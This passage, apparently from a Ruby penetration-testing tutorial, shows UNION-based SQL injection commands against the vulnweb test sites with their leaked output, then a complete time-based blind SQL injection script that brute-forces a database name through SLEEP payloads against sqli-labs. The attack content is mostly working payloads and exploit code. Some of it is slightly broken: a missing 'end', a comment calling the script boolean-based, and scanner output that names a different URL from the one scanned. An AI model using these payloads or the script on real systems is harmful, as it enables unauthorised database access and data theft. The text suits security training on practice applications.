SQL Injection Scanner

    1. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,NULL,NULL,NULL#" | grep -i -e warning -e error
    2. # => Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62
    3. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,NULL,NULL#" | grep -i -e warning -e error
    4. # =>
    5. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,@@VERSION,NULL#"
    6. # => artist: 5.1.73-0ubuntu0.10.04.1
    7. ruby sqli-basic.rb "testphp.vulnweb.com" "-1 UNION ALL SELECT NULL,GROUP_CONCAT(table_name),NULL FROM information_schema.tables#"
    8. # => artist: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVIL

    Here a very basic and simple SQL-injection solid scanner, develop it as far as you can!

    Results

    1. ruby sqli.rb http://testasp.vulnweb.com/showforum.asp?id=0
    2. [+] The http://testphp.vulnweb.com/artists.php?artist=1' is vulnerable!

    A Time-based SQLi exploit for sqli-labs vulnerable application.

    1. #!/usr/bin/env ruby
    2. # Boolean-based SQLi exploit
    3. # Sabri Saleh | @KINGSABRI
    4. #
    5. require 'open-uri'
    6. if ARGV.size < 1
    7. puts "[+] ruby #{__FILE__} <IP ADDRESS>"
    8. exit 0
    9. host = ARGV[0]
    10. # Just colorizing outputs
    11. class String
    12. def red; colorize(self, "\e[1m\e[31m"); end
    13. def green; colorize(self, "\e[1m\e[32m"); end
    14. def bold; colorize(self, "\e[1m"); end
    15. def colorize(text, color_code) "#{color_code}#{text}\e[0m" end
    16. end
    17. # SQL injection
    18. def send_tbsqli(url, query, time2wait)
    19. begin
    20. start_time = Time.now
    21. response = open(URI.parse( URI.encode("#{url}#{query}") ))
    22. end_time = Time.now
    23. howlong = end_time - start_time
    24. if howlong >= time2wait
    25. return 1 # TRUE
    26. end
    27. rescue Exception => e
    28. puts "[!] Failed to SQL inject #{e}".red
    29. end
    30. url = "http://#{host}/sqli-labs/Less-10/index.php?id="
    31. puts "[*] Start Sending Boolean-based SQLi".bold
    32. time2wait = 5
    33. extracted = []
    34. (1..76).map do |position|
    35. (32..126).map do |char|
    36. puts "[*] Brute-forcing on Position: ".bold + "#{position}".green + " | ".bold + "Character: ".bold + "#{char} = #{char.chr}".green
    37. # Put your query here
    38. query = "1\" AND IF((ASCII(SUBSTR((SELECT DATABASE()),#{position},1)))=#{char}, SLEEP(#{time2wait}), NULL)--+"
    39. result = send_tbsqli(url, query, time2wait)
    40. if result.eql? 1
    41. puts "[+] Found character: ".bold + "#{char.to_s(16)} hex".green
    42. extracted << char.chr
    43. puts "[+] Extracted characters: ".bold + "#{extracted.join}".green
    44. break
    45. end
    46. end
    47. end
    48. puts "\n\n[+] Final found string: ".bold + "#{extracted.join}".green